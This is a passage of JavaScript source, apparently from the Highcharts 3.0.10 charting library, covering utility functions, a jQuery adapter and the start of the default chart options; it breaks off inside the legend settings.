// encapsulated variables
var UNDEFINED,
doc = document,
win = window,
math = Math,
mathRound = math.round,
mathFloor = math.floor,
mathCeil = math.ceil,
mathMax = math.max,
mathMin = math.min,
mathAbs = math.abs,
mathCos = math.cos,
mathSin = math.sin,
mathPI = math.PI,
deg2rad = mathPI * 2 / 360,
// some variables
userAgent = navigator.userAgent,
isOpera = win.opera,
isIE = /msie/i.test(userAgent) && !isOpera,
docMode8 = doc.documentMode === 8,
isWebKit = /AppleWebKit/.test(userAgent),
isFirefox = /Firefox/.test(userAgent),
isTouchDevice = /(Mobile|Android|Windows Phone)/.test(userAgent),
SVG_NS = 'http://www.w3.org/2000/svg',
hasSVG = !!doc.createElementNS && !!doc.createElementNS(SVG_NS, 'svg').createSVGRect,
hasBidiBug = isFirefox && parseInt(userAgent.split('Firefox/')[1], 10) < 4, // issue #38
useCanVG = !hasSVG && !isIE && !!doc.createElement('canvas').getContext,
Renderer,
hasTouch,
symbolSizes = {},
idCounter = 0,
garbageBin,
defaultOptions,
dateFormat, // function
globalAnimation,
pathAnim,
timeUnits,
noop = function () {},
charts = [],
PRODUCT = 'Highcharts',
VERSION = '3.0.10',
// some constants for frequently used strings
DIV = 'div',
ABSOLUTE = 'absolute',
RELATIVE = 'relative',
HIDDEN = 'hidden',
PREFIX = 'highcharts-',
VISIBLE = 'visible',
PX = 'px',
NONE = 'none',
M = 'M',
L = 'L',
numRegex = /^[0-9]+$/,
NORMAL_STATE = '',
HOVER_STATE = 'hover',
SELECT_STATE = 'select',
MILLISECOND = 'millisecond',
SECOND = 'second',
MINUTE = 'minute',
HOUR = 'hour',
DAY = 'day',
WEEK = 'week',
MONTH = 'month',
YEAR = 'year',
// Object for extending Axis
AxisPlotLineOrBandExtension,
// constants for attributes
STROKE_WIDTH = 'stroke-width',
// time methods, changed based on whether or not UTC is used
makeTime,
timezoneOffset,
getMinutes,
getHours,
getDay,
getDate,
getMonth,
getFullYear,
setMinutes,
setHours,
setDate,
setMonth,
setFullYear,
// lookup over the types and the associated classes
seriesTypes = {};
// The Highcharts namespace
var Highcharts = win.Highcharts = win.Highcharts ? error(16, true) : {};
/**
* Extend an object with the members of another
* @param {Object} a The object to be extended
* @param {Object} b The object to add to the first one
*/
function extend(a, b) {
var n;
if (!a) {
a = {};
}
for (n in b) {
a[n] = b[n];
}
return a;
}
/**
* Deep merge two or more objects and return a third object. If the first argument is
* true, the contents of the second object is copied into the first object.
* Previously this function redirected to jQuery.extend(true), but this had two limitations.
* First, it deep merged arrays, which lead to workarounds in Highcharts. Second,
* it copied properties from extended prototypes.
*/
function merge() {
var i,
args = arguments,
len,
ret = {},
doCopy = function (copy, original) {
var value, key;
// An object is replacing a primitive
if (typeof copy !== 'object') {
copy = {};
}
for (key in original) {
if (original.hasOwnProperty(key)) {
value = original[key];
// Copy the contents of objects, but not arrays or DOM nodes
if (value && typeof value === 'object' && Object.prototype.toString.call(value) !== '[object Array]'
&& key !== 'renderTo' && typeof value.nodeType !== 'number') {
copy[key] = doCopy(copy[key] || {}, value);
// Primitives and arrays are copied over directly
} else {
copy[key] = original[key];
}
}
}
return copy;
};
// If first argument is true, copy into the existing object. Used in setOptions.
if (args[0] === true) {
ret = args[1];
args = Array.prototype.slice.call(args, 2);
}
// For each argument, extend the return
len = args.length;
for (i = 0; i < len; i++) {
ret = doCopy(ret, args[i]);
}
return ret;
}
/**
* Take an array and turn into a hash with even number arguments as keys and odd numbers as
* values. Allows creating constants for commonly used style properties, attributes etc.
* Avoid it in performance critical situations like looping
*/
function hash() {
var i = 0,
args = arguments,
length = args.length,
obj = {};
for (; i < length; i++) {
obj[args[i++]] = args[i];
}
return obj;
}
/**
* Shortcut for parseInt
* @param {Object} s
* @param {Number} mag Magnitude
*/
function pInt(s, mag) {
return parseInt(s, mag || 10);
}
/**
* Check for string
* @param {Object} s
*/
function isString(s) {
return typeof s === 'string';
}
/**
* Check for object
* @param {Object} obj
*/
function isObject(obj) {
return typeof obj === 'object';
}
/**
* Check for array
* @param {Object} obj
*/
function isArray(obj) {
return Object.prototype.toString.call(obj) === '[object Array]';
}
/**
* Check for number
* @param {Object} n
*/
function isNumber(n) {
return typeof n === 'number';
}
function log2lin(num) {
return math.log(num) / math.LN10;
}
function lin2log(num) {
return math.pow(10, num);
}
/**
* Remove last occurence of an item from an array
* @param {Array} arr
* @param {Mixed} item
*/
function erase(arr, item) {
var i = arr.length;
while (i--) {
if (arr[i] === item) {
arr.splice(i, 1);
break;
}
}
//return arr;
}
/**
* Returns true if the object is not null or undefined. Like MooTools' $.defined.
* @param {Object} obj
*/
function defined(obj) {
return obj !== UNDEFINED && obj !== null;
}
/**
* Set or get an attribute or an object of attributes. Can't use jQuery attr because
* it attempts to set expando properties on the SVG element, which is not allowed.
*
* @param {Object} elem The DOM element to receive the attribute(s)
* @param {String|Object} prop The property or an abject of key-value pairs
* @param {String} value The value if a single property is set
*/
function attr(elem, prop, value) {
var key,
setAttribute = 'setAttribute',
ret;
// if the prop is a string
if (isString(prop)) {
// set the value
if (defined(value)) {
elem[setAttribute](prop, value);
// get the value
} else if (elem && elem.getAttribute) { // elem not defined when printing pie demo...
ret = elem.getAttribute(prop);
}
// else if prop is defined, it is a hash of key/value pairs
} else if (defined(prop) && isObject(prop)) {
for (key in prop) {
elem[setAttribute](key, prop[key]);
}
}
return ret;
}
/**
* Check if an element is an array, and if not, make it into an array. Like
* MooTools' $.splat.
*/
function splat(obj) {
return isArray(obj) ? obj : [obj];
}
/**
* Return the first value that is defined. Like MooTools' $.pick.
*/
function pick() {
var args = arguments,
i,
arg,
length = args.length;
for (i = 0; i < length; i++) {
arg = args[i];
if (typeof arg !== 'undefined' && arg !== null) {
return arg;
}
}
}
/**
* Set CSS on a given element
* @param {Object} el
* @param {Object} styles Style object with camel case property names
*/
function css(el, styles) {
if (isIE && !hasSVG) { // #2686
if (styles && styles.opacity !== UNDEFINED) {
styles.filter = 'alpha(opacity=' + (styles.opacity * 100) + ')';
}
}
extend(el.style, styles);
}
/**
* Utility function to create element with attributes and styles
* @param {Object} tag
* @param {Object} attribs
* @param {Object} styles
* @param {Object} parent
* @param {Object} nopad
*/
function createElement(tag, attribs, styles, parent, nopad) {
var el = doc.createElement(tag);
if (attribs) {
extend(el, attribs);
}
if (nopad) {
css(el, {padding: 0, border: NONE, margin: 0});
}
if (styles) {
css(el, styles);
}
if (parent) {
parent.appendChild(el);
}
return el;
}
/**
* Extend a prototyped class by new members
* @param {Object} parent
* @param {Object} members
*/
function extendClass(parent, members) {
var object = function () {};
object.prototype = new parent();
extend(object.prototype, members);
return object;
}
/**
* Format a number and return a string based on input settings
* @param {Number} number The input number to format
* @param {Number} decimals The amount of decimals
* @param {String} decPoint The decimal point, defaults to the one given in the lang options
* @param {String} thousandsSep The thousands separator, defaults to the one given in the lang options
*/
function numberFormat(number, decimals, decPoint, thousandsSep) {
var lang = defaultOptions.lang,
// http://kevin.vanzonneveld.net/techblog/article/javascript_equivalent_for_phps_number_format/
n = +number || 0,
c = decimals === -1 ?
(n.toString().split('.')[1] || '').length : // preserve decimals
(isNaN(decimals = mathAbs(decimals)) ? 2 : decimals),
d = decPoint === undefined ? lang.decimalPoint : decPoint,
t = thousandsSep === undefined ? lang.thousandsSep : thousandsSep,
s = n < 0 ? "-" : "",
i = String(pInt(n = mathAbs(n).toFixed(c))),
j = i.length > 3 ? i.length % 3 : 0;
return s + (j ? i.substr(0, j) + t : "") + i.substr(j).replace(/(\d{3})(?=\d)/g, "$1" + t) +
(c ? d + mathAbs(n - i).toFixed(c).slice(2) : "");
}
/**
* Pad a string to a given length by adding 0 to the beginning
* @param {Number} number
* @param {Number} length
*/
function pad(number, length) {
// Create an array of the remaining length +1 and join it with 0's
return new Array((length || 2) + 1 - String(number).length).join(0) + number;
}
/**
* Wrap a method with extended functionality, preserving the original function
* @param {Object} obj The context object that the method belongs to
* @param {String} method The name of the method to extend
* @param {Function} func A wrapper function callback. This function is called with the same arguments
* as the original function, except that the original function is unshifted and passed as the first
* argument.
*/
function wrap(obj, method, func) {
var proceed = obj[method];
obj[method] = function () {
var args = Array.prototype.slice.call(arguments);
args.unshift(proceed);
return func.apply(this, args);
};
}
/**
* Based on http://www.php.net/manual/en/function.strftime.php
* @param {String} format
* @param {Number} timestamp
* @param {Boolean} capitalize
*/
dateFormat = function (format, timestamp, capitalize) {
if (!defined(timestamp) || isNaN(timestamp)) {
return 'Invalid date';
}
format = pick(format, '%Y-%m-%d %H:%M:%S');
var date = new Date(timestamp - timezoneOffset),
key, // used in for constuct below
// get the basic time values
hours = date[getHours](),
day = date[getDay](),
dayOfMonth = date[getDate](),
month = date[getMonth](),
fullYear = date[getFullYear](),
lang = defaultOptions.lang,
langWeekdays = lang.weekdays,
// List all format keys. Custom formats can be added from the outside.
replacements = extend({
// Day
'a': langWeekdays[day].substr(0, 3), // Short weekday, like 'Mon'
'A': langWeekdays[day], // Long weekday, like 'Monday'
'd': pad(dayOfMonth), // Two digit day of the month, 01 to 31
'e': dayOfMonth, // Day of the month, 1 through 31
// Week (none implemented)
//'W': weekNumber(),
// Month
'b': lang.shortMonths[month], // Short month, like 'Jan'
'B': lang.months[month], // Long month, like 'January'
'm': pad(month + 1), // Two digit month number, 01 through 12
// Year
'y': fullYear.toString().substr(2, 2), // Two digits year, like 09 for 2009
'Y': fullYear, // Four digits year, like 2009
// Time
'H': pad(hours), // Two digits hours in 24h format, 00 through 23
'I': pad((hours % 12) || 12), // Two digits hours in 12h format, 00 through 11
'l': (hours % 12) || 12, // Hours in 12h format, 1 through 12
'M': pad(date[getMinutes]()), // Two digits minutes, 00 through 59
'p': hours < 12 ? 'AM' : 'PM', // Upper case AM or PM
'P': hours < 12 ? 'am' : 'pm', // Lower case AM or PM
'S': pad(date.getSeconds()), // Two digits seconds, 00 through 59
'L': pad(mathRound(timestamp % 1000), 3) // Milliseconds (naming from Ruby)
}, Highcharts.dateFormats);
// do the replaces
for (key in replacements) {
while (format.indexOf('%' + key) !== -1) { // regex would do it in one line, but this is faster
format = format.replace('%' + key, typeof replacements[key] === 'function' ? replacements[key](timestamp) : replacements[key]);
}
}
// Optionally capitalize the string and return
return capitalize ? format.substr(0, 1).toUpperCase() + format.substr(1) : format;
};
/**
* Format a single variable. Similar to sprintf, without the % prefix.
*/
function formatSingle(format, val) {
var floatRegex = /f$/,
decRegex = /\.([0-9])/,
lang = defaultOptions.lang,
decimals;
if (floatRegex.test(format)) { // float
decimals = format.match(decRegex);
decimals = decimals ? decimals[1] : -1;
val = numberFormat(
val,
decimals,
lang.decimalPoint,
format.indexOf(',') > -1 ? lang.thousandsSep : ''
);
} else {
val = dateFormat(format, val);
}
return val;
}
/**
* Format a string according to a subset of the rules of Python's String.format method.
*/
function format(str, ctx) {
var splitter = '{',
isInside = false,
segment,
valueAndFormat,
path,
i,
len,
ret = [],
val,
index;
while ((index = str.indexOf(splitter)) !== -1) {
segment = str.slice(0, index);
if (isInside) { // we're on the closing bracket looking back
valueAndFormat = segment.split(':');
path = valueAndFormat.shift().split('.'); // get first and leave format
len = path.length;
val = ctx;
// Assign deeper paths
for (i = 0; i < len; i++) {
val = val[path[i]];
}
// Format the replacement
if (valueAndFormat.length) {
val = formatSingle(valueAndFormat.join(':'), val);
}
// Push the result and advance the cursor
ret.push(val);
} else {
ret.push(segment);
}
str = str.slice(index + 1); // the rest
isInside = !isInside; // toggle
splitter = isInside ? '}' : '{'; // now look for next matching bracket
}
ret.push(str);
return ret.join('');
}
/**
* Get the magnitude of a number
*/
function getMagnitude(num) {
return math.pow(10, mathFloor(math.log(num) / math.LN10));
}
/**
* Take an interval and normalize it to multiples of 1, 2, 2.5 and 5
* @param {Number} interval
* @param {Array} multiples
* @param {Number} magnitude
* @param {Object} options
*/
function normalizeTickInterval(interval, multiples, magnitude, options) {
var normalized, i;
// round to a tenfold of 1, 2, 2.5 or 5
magnitude = pick(magnitude, 1);
normalized = interval / magnitude;
// multiples for a linear scale
if (!multiples) {
multiples = [1, 2, 2.5, 5, 10];
// the allowDecimals option
if (options && options.allowDecimals === false) {
if (magnitude === 1) {
multiples = [1, 2, 5, 10];
} else if (magnitude <= 0.1) {
multiples = [1 / magnitude];
}
}
}
// normalize the interval to the nearest multiple
for (i = 0; i < multiples.length; i++) {
interval = multiples[i];
if (normalized <= (multiples[i] + (multiples[i + 1] || multiples[i])) / 2) {
break;
}
}
// multiply back to the correct magnitude
interval *= magnitude;
return interval;
}
/**
* Helper class that contains variuos counters that are local to the chart.
*/
function ChartCounters() {
this.color = 0;
this.symbol = 0;
}
ChartCounters.prototype = {
/**
* Wraps the color counter if it reaches the specified length.
*/
wrapColor: function (length) {
if (this.color >= length) {
this.color = 0;
}
},
/**
* Wraps the symbol counter if it reaches the specified length.
*/
wrapSymbol: function (length) {
if (this.symbol >= length) {
this.symbol = 0;
}
}
};
/**
* Utility method that sorts an object array and keeping the order of equal items.
* ECMA script standard does not specify the behaviour when items are equal.
*/
function stableSort(arr, sortFunction) {
var length = arr.length,
sortValue,
i;
// Add index to each item
for (i = 0; i < length; i++) {
arr[i].ss_i = i; // stable sort index
}
arr.sort(function (a, b) {
sortValue = sortFunction(a, b);
return sortValue === 0 ? a.ss_i - b.ss_i : sortValue;
});
// Remove index from items
for (i = 0; i < length; i++) {
delete arr[i].ss_i; // stable sort index
}
}
/**
* Non-recursive method to find the lowest member of an array. Math.min raises a maximum
* call stack size exceeded error in Chrome when trying to apply more than 150.000 points. This
* method is slightly slower, but safe.
*/
function arrayMin(data) {
var i = data.length,
min = data[0];
while (i--) {
if (data[i] < min) {
min = data[i];
}
}
return min;
}
/**
* Non-recursive method to find the lowest member of an array. Math.min raises a maximum
* call stack size exceeded error in Chrome when trying to apply more than 150.000 points. This
* method is slightly slower, but safe.
*/
function arrayMax(data) {
var i = data.length,
max = data[0];
while (i--) {
if (data[i] > max) {
max = data[i];
}
}
return max;
}
/**
* Utility method that destroys any SVGElement or VMLElement that are properties on the given object.
* It loops all properties and invokes destroy if there is a destroy method. The property is
* then delete'ed.
* @param {Object} The object to destroy properties on
* @param {Object} Exception, do not destroy this property, only delete it.
*/
function destroyObjectProperties(obj, except) {
var n;
for (n in obj) {
// If the object is non-null and destroy is defined
if (obj[n] && obj[n] !== except && obj[n].destroy) {
// Invoke the destroy
obj[n].destroy();
}
// Delete the property from the object.
delete obj[n];
}
}
/**
* Discard an element by moving it to the bin and delete
* @param {Object} The HTML node to discard
*/
function discardElement(element) {
// create a garbage bin element, not part of the DOM
if (!garbageBin) {
garbageBin = createElement(DIV);
}
// move the node and empty bin
if (element) {
garbageBin.appendChild(element);
}
garbageBin.innerHTML = '';
}
/**
* Provide error messages for debugging, with links to online explanation
*/
function error(code, stop) {
var msg = 'Highcharts error #' + code + ': www.highcharts.com/errors/' + code;
if (stop) {
throw msg;
} else if (win.console) {
console.log(msg);
}
}
/**
* Fix JS round off float errors
* @param {Number} num
*/
function correctFloat(num) {
return parseFloat(
num.toPrecision(14)
);
}
/**
* Set the global animation to either a given value, or fall back to the
* given chart's animation option
* @param {Object} animation
* @param {Object} chart
*/
function setAnimation(animation, chart) {
globalAnimation = pick(animation, chart.animation);
}
/**
* The time unit lookup
*/
/*jslint white: true*/
timeUnits = hash(
MILLISECOND, 1,
SECOND, 1000,
MINUTE, 60000,
HOUR, 3600000,
DAY, 24 * 3600000,
WEEK, 7 * 24 * 3600000,
MONTH, 31 * 24 * 3600000,
YEAR, 31556952000
);
/*jslint white: false*/
/**
* Path interpolation algorithm used across adapters
*/
pathAnim = {
/**
* Prepare start and end values so that the path can be animated one to one
*/
init: function (elem, fromD, toD) {
fromD = fromD || '';
var shift = elem.shift,
bezier = fromD.indexOf('C') > -1,
numParams = bezier ? 7 : 3,
endLength,
slice,
i,
start = fromD.split(' '),
end = [].concat(toD), // copy
startBaseLine,
endBaseLine,
sixify = function (arr) { // in splines make move points have six parameters like bezier curves
i = arr.length;
while (i--) {
if (arr[i] === M) {
arr.splice(i + 1, 0, arr[i + 1], arr[i + 2], arr[i + 1], arr[i + 2]);
}
}
};
if (bezier) {
sixify(start);
sixify(end);
}
// pull out the base lines before padding
if (elem.isArea) {
startBaseLine = start.splice(start.length - 6, 6);
endBaseLine = end.splice(end.length - 6, 6);
}
// if shifting points, prepend a dummy point to the end path
if (shift <= end.length / numParams && start.length === end.length) {
while (shift--) {
end = [].concat(end).splice(0, numParams).concat(end);
}
}
elem.shift = 0; // reset for following animations
// copy and append last point until the length matches the end length
if (start.length) {
endLength = end.length;
while (start.length < endLength) {
//bezier && sixify(start);
slice = [].concat(start).splice(start.length - numParams, numParams);
if (bezier) { // disable first control point
slice[numParams - 6] = slice[numParams - 2];
slice[numParams - 5] = slice[numParams - 1];
}
start = start.concat(slice);
}
}
if (startBaseLine) { // append the base lines for areas
start = start.concat(startBaseLine);
end = end.concat(endBaseLine);
}
return [start, end];
},
/**
* Interpolate each value of the path and return the array
*/
step: function (start, end, pos, complete) {
var ret = [],
i = start.length,
startVal;
if (pos === 1) { // land on the final path without adjustment points appended in the ends
ret = complete;
} else if (i === end.length && pos < 1) {
while (i--) {
startVal = parseFloat(start[i]);
ret[i] =
isNaN(startVal) ? // a letter instruction like M or L
start[i] :
pos * (parseFloat(end[i] - startVal)) + startVal;
}
} else { // if animation is finished or length not matching, land on right value
ret = end;
}
return ret;
}
};
(function ($) {
/**
* The default HighchartsAdapter for jQuery
*/
win.HighchartsAdapter = win.HighchartsAdapter || ($ && {
/**
* Initialize the adapter by applying some extensions to jQuery
*/
init: function (pathAnim) {
// extend the animate function to allow SVG animations
var Fx = $.fx,
Step = Fx.step,
dSetter,
Tween = $.Tween,
propHooks = Tween && Tween.propHooks,
opacityHook = $.cssHooks.opacity;
/*jslint unparam: true*//* allow unused param x in this function */
$.extend($.easing, {
easeOutQuad: function (x, t, b, c, d) {
return -c * (t /= d) * (t - 2) + b;
}
});
/*jslint unparam: false*/
// extend some methods to check for elem.attr, which means it is a Highcharts SVG object
$.each(['cur', '_default', 'width', 'height', 'opacity'], function (i, fn) {
var obj = Step,
base;
// Handle different parent objects
if (fn === 'cur') {
obj = Fx.prototype; // 'cur', the getter, relates to Fx.prototype
} else if (fn === '_default' && Tween) { // jQuery 1.8 model
obj = propHooks[fn];
fn = 'set';
}
// Overwrite the method
base = obj[fn];
if (base) { // step.width and step.height don't exist in jQuery < 1.7
// create the extended function replacement
obj[fn] = function (fx) {
var elem;
// Fx.prototype.cur does not use fx argument
fx = i ? fx : this;
// Don't run animations on textual properties like align (#1821)
if (fx.prop === 'align') {
return;
}
// shortcut
elem = fx.elem;
// Fx.prototype.cur returns the current value. The other ones are setters
// and returning a value has no effect.
return elem.attr ? // is SVG element wrapper
elem.attr(fx.prop, fn === 'cur' ? UNDEFINED : fx.now) : // apply the SVG wrapper's method
base.apply(this, arguments); // use jQuery's built-in method
};
}
});
// Extend the opacity getter, needed for fading opacity with IE9 and jQuery 1.10+
wrap(opacityHook, 'get', function (proceed, elem, computed) {
return elem.attr ? (elem.opacity || 0) : proceed.call(this, elem, computed);
});
// Define the setter function for d (path definitions)
dSetter = function (fx) {
var elem = fx.elem,
ends;
// Normally start and end should be set in state == 0, but sometimes,
// for reasons unknown, this doesn't happen. Perhaps state == 0 is skipped
// in these cases
if (!fx.started) {
ends = pathAnim.init(elem, elem.d, elem.toD);
fx.start = ends[0];
fx.end = ends[1];
fx.started = true;
}
// interpolate each value of the path
elem.attr('d', pathAnim.step(fx.start, fx.end, fx.pos, elem.toD));
};
// jQuery 1.8 style
if (Tween) {
propHooks.d = {
set: dSetter
};
// pre 1.8
} else {
// animate paths
Step.d = dSetter;
}
/**
* Utility for iterating over an array. Parameters are reversed compared to jQuery.
* @param {Array} arr
* @param {Function} fn
*/
this.each = Array.prototype.forEach ?
function (arr, fn) { // modern browsers
return Array.prototype.forEach.call(arr, fn);
} :
function (arr, fn) { // legacy
var i = 0,
len = arr.length;
for (; i < len; i++) {
if (fn.call(arr[i], arr[i], i, arr) === false) {
return i;
}
}
};
/**
* Register Highcharts as a plugin in the respective framework
*/
$.fn.highcharts = function () {
var constr = 'Chart', // default constructor
args = arguments,
options,
ret,
chart;
if (isString(args[0])) {
constr = args[0];
args = Array.prototype.slice.call(args, 1);
}
options = args[0];
// Create the chart
if (options !== UNDEFINED) {
/*jslint unused:false*/
options.chart = options.chart || {};
options.chart.renderTo = this[0];
chart = new Highcharts[constr](options, args[1]);
ret = this;
/*jslint unused:true*/
}
// When called without parameters or with the return argument, get a predefined chart
if (options === UNDEFINED) {
ret = charts[attr(this[0], 'data-highcharts-chart')];
}
return ret;
};
},
/**
* Downloads a script and executes a callback when done.
* @param {String} scriptLocation
* @param {Function} callback
*/
getScript: $.getScript,
/**
* Return the index of an item in an array, or -1 if not found
*/
inArray: $.inArray,
/**
* A direct link to jQuery methods. MooTools and Prototype adapters must be implemented for each case of method.
* @param {Object} elem The HTML element
* @param {String} method Which method to run on the wrapped element
*/
adapterRun: function (elem, method) {
return $(elem)[method]();
},
/**
* Filter an array
*/
grep: $.grep,
/**
* Map an array
* @param {Array} arr
* @param {Function} fn
*/
map: function (arr, fn) {
//return jQuery.map(arr, fn);
var results = [],
i = 0,
len = arr.length;
for (; i < len; i++) {
results[i] = fn.call(arr[i], arr[i], i, arr);
}
return results;
},
/**
* Get the position of an element relative to the top left of the page
*/
offset: function (el) {
return $(el).offset();
},
/**
* Add an event listener
* @param {Object} el A HTML element or custom object
* @param {String} event The event type
* @param {Function} fn The event handler
*/
addEvent: function (el, event, fn) {
$(el).bind(event, fn);
},
/**
* Remove event added with addEvent
* @param {Object} el The object
* @param {String} eventType The event type. Leave blank to remove all events.
* @param {Function} handler The function to remove
*/
removeEvent: function (el, eventType, handler) {
// workaround for jQuery issue with unbinding custom events:
// http://forum.jQuery.com/topic/javascript-error-when-unbinding-a-custom-event-using-jQuery-1-4-2
var func = doc.removeEventListener ? 'removeEventListener' : 'detachEvent';
if (doc[func] && el && !el[func]) {
el[func] = function () {};
}
$(el).unbind(eventType, handler);
},
/**
* Fire an event on a custom object
* @param {Object} el
* @param {String} type
* @param {Object} eventArguments
* @param {Function} defaultFunction
*/
fireEvent: function (el, type, eventArguments, defaultFunction) {
var event = $.Event(type),
detachedType = 'detached' + type,
defaultPrevented;
// Remove warnings in Chrome when accessing layerX and layerY. Although Highcharts
// never uses these properties, Chrome includes them in the default click event and
// raises the warning when they are copied over in the extend statement below.
//
// To avoid problems in IE (see #1010) where we cannot delete the properties and avoid
// testing if they are there (warning in chrome) the only option is to test if running IE.
if (!isIE && eventArguments) {
delete eventArguments.layerX;
delete eventArguments.layerY;
}
extend(event, eventArguments);
// Prevent jQuery from triggering the object method that is named the
// same as the event. For example, if the event is 'select', jQuery
// attempts calling el.select and it goes into a loop.
if (el[type]) {
el[detachedType] = el[type];
el[type] = null;
}
// Wrap preventDefault and stopPropagation in try/catch blocks in
// order to prevent JS errors when cancelling events on non-DOM
// objects. #615.
/*jslint unparam: true*/
$.each(['preventDefault', 'stopPropagation'], function (i, fn) {
var base = event[fn];
event[fn] = function () {
try {
base.call(event);
} catch (e) {
if (fn === 'preventDefault') {
defaultPrevented = true;
}
}
};
});
/*jslint unparam: false*/
// trigger it
$(el).trigger(event);
// attach the method
if (el[detachedType]) {
el[type] = el[detachedType];
el[detachedType] = null;
}
if (defaultFunction && !event.isDefaultPrevented() && !defaultPrevented) {
defaultFunction(event);
}
},
/**
* Extension method needed for MooTools
*/
washMouseEvent: function (e) {
var ret = e.originalEvent || e;
// computed by jQuery, needed by IE8
if (ret.pageX === UNDEFINED) { // #1236
ret.pageX = e.pageX;
ret.pageY = e.pageY;
}
return ret;
},
/**
* Animate a HTML element or SVG element wrapper
* @param {Object} el
* @param {Object} params
* @param {Object} options jQuery-like animation options: duration, easing, callback
*/
animate: function (el, params, options) {
var $el = $(el);
if (!el.style) {
el.style = {}; // #1881
}
if (params.d) {
el.toD = params.d; // keep the array form for paths, used in $.fx.step.d
params.d = 1; // because in jQuery, animating to an array has a different meaning
}
$el.stop();
if (params.opacity !== UNDEFINED && el.attr) {
params.opacity += 'px'; // force jQuery to use same logic as width and height (#2161)
}
$el.animate(params, options);
},
/**
* Stop running animation
*/
stop: function (el) {
$(el).stop();
}
});
}(win.jQuery));
// check for a custom HighchartsAdapter defined prior to this file
var globalAdapter = win.HighchartsAdapter,
adapter = globalAdapter || {};
// Initialize the adapter
if (globalAdapter) {
globalAdapter.init.call(globalAdapter, pathAnim);
}
// Utility functions. If the HighchartsAdapter is not defined, adapter is an empty object
// and all the utility functions will be null. In that case they are populated by the
// default adapters below.
var adapterRun = adapter.adapterRun,
getScript = adapter.getScript,
inArray = adapter.inArray,
each = adapter.each,
grep = adapter.grep,
offset = adapter.offset,
map = adapter.map,
addEvent = adapter.addEvent,
removeEvent = adapter.removeEvent,
fireEvent = adapter.fireEvent,
washMouseEvent = adapter.washMouseEvent,
animate = adapter.animate,
stop = adapter.stop;
/* ****************************************************************************
* Handle the options *
*****************************************************************************/
var
defaultLabelOptions = {
enabled: true,
// rotation: 0,
// align: 'center',
x: 0,
y: 15,
/*formatter: function () {
return this.value;
},*/
style: {
color: '#666',
cursor: 'default',
fontSize: '11px'
}
};
defaultOptions = {
colors: ['#2f7ed8', '#0d233a', '#8bbc21', '#910000', '#1aadce', '#492970',
'#f28f43', '#77a1e5', '#c42525', '#a6c96a'],
//colors: ['#8085e8', '#252530', '#90ee7e', '#8d4654', '#2b908f', '#76758e', '#f6a45c', '#7eb5ee', '#f45b5b', '#9ff0cf'],
symbols: ['circle', 'diamond', 'square', 'triangle', 'triangle-down'],
lang: {
loading: 'Loading...',
months: ['January', 'February', 'March', 'April', 'May', 'June', 'July',
'August', 'September', 'October', 'November', 'December'],
shortMonths: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'],
weekdays: ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'],
decimalPoint: '.',
numericSymbols: ['k', 'M', 'G', 'T', 'P', 'E'], // SI prefixes used in axis labels
resetZoom: 'Reset zoom',
resetZoomTitle: 'Reset zoom level 1:1',
thousandsSep: ','
},
global: {
useUTC: true,
//timezoneOffset: 0,
canvasToolsURL: 'http://code.highcharts.com/3.0.10/modules/canvas-tools.js',
VMLRadialGradientURL: 'http://code.highcharts.com/3.0.10/gfx/vml-radial-gradient.png'
},
chart: {
//animation: true,
//alignTicks: false,
//reflow: true,
//className: null,
//events: { load, selection },
//margin: [null],
//marginTop: null,
//marginRight: null,
//marginBottom: null,
//marginLeft: null,
borderColor: '#4572A7',
//borderWidth: 0,
borderRadius: 5,
defaultSeriesType: 'line',
ignoreHiddenSeries: true,
//inverted: false,
//shadow: false,
spacing: [10, 10, 15, 10],
//spacingTop: 10,
//spacingRight: 10,
//spacingBottom: 15,
//spacingLeft: 10,
//style: {
// fontFamily: '"Lucida Grande", "Lucida Sans Unicode", Verdana, Arial, Helvetica, sans-serif', // default font
// fontSize: '12px'
//},
backgroundColor: '#FFFFFF',
//plotBackgroundColor: null,
plotBorderColor: '#C0C0C0',
//plotBorderWidth: 0,
//plotShadow: false,
//zoomType: ''
resetZoomButton: {
theme: {
zIndex: 20
},
position: {
align: 'right',
x: -10,
//verticalAlign: 'top',
y: 10
}
// relativeTo: 'plot'
}
},
title: {
text: 'Chart title',
align: 'center',
// floating: false,
margin: 15,
// x: 0,
// verticalAlign: 'top',
// y: null,
style: {
color: '#274b6d',//#3E576F',
fontSize: '16px'
}
},
subtitle: {
text: '',
align: 'center',
// floating: false
// x: 0,
// verticalAlign: 'top',
// y: null,
style: {
color: '#4d759e'
}
},
plotOptions: {
line: { // base series options
allowPointSelect: false,
showCheckbox: false,
animation: {
duration: 1000
},
//connectNulls: false,
//cursor: 'default',
//clip: true,
//dashStyle: null,
//enableMouseTracking: true,
events: {},
//legendIndex: 0,
//linecap: 'round',
lineWidth: 2,
//shadow: false,
// stacking: null,
marker: {
enabled: true,
//symbol: null,
lineWidth: 0,
radius: 4,
lineColor: '#FFFFFF',
//fillColor: null,
states: { // states for a single point
hover: {
enabled: true
//radius: base + 2
},
select: {
fillColor: '#FFFFFF',
lineColor: '#000000',
lineWidth: 2
}
}
},
point: {
events: {}
},
dataLabels: merge(defaultLabelOptions, {
align: 'center',
enabled: false,
formatter: function () {
return this.y === null ? '' : numberFormat(this.y, -1);
},
verticalAlign: 'bottom', // above singular point
y: 0
// backgroundColor: undefined,
// borderColor: undefined,
// borderRadius: undefined,
// borderWidth: undefined,
// padding: 3,
// shadow: false
}),
cropThreshold: 300, // draw points outside the plot area when the number of points is less than this
pointRange: 0,
//pointStart: 0,
//pointInterval: 1,
//showInLegend: null, // auto: true for standalone series, false for linked series
states: { // states for the entire series
hover: {
//enabled: false,
//lineWidth: base + 1,
marker: {
// lineWidth: base + 1,
// radius: base + 1
}
},
select: {
marker: {}
}
},
stickyTracking: true,
//tooltip: {
//pointFormat: '<span style="color:{series.color}">{series.name}</span>: <b>{point.y}</b>'
//valueDecimals: null,
//xDateFormat: '%A, %b %e, %Y',
//valuePrefix: '',
//ySuffix: ''
//}
turboThreshold: 1000
// zIndex: null
}
},
labels: {
//items: [],
style: {
//font: defaultFont,
position: ABSOLUTE,
color: '#3E576F'
}
},
legend: {
enabled: true,
align: 'center',
//floating: false,
layout: 'horizontal',
labelFormatter: function () {
return this.name;
},
borderWidth: 1,
borderColor: '#909090',
borderRadius: 5,
navigation: {
// animation: true,
activeColor: '#274b6d',
// arrowSize: 12
inactiveColor: '#CCC'
// style: {} // text styles
},
// margin: 10,
// reversed: false,
shadow: false,
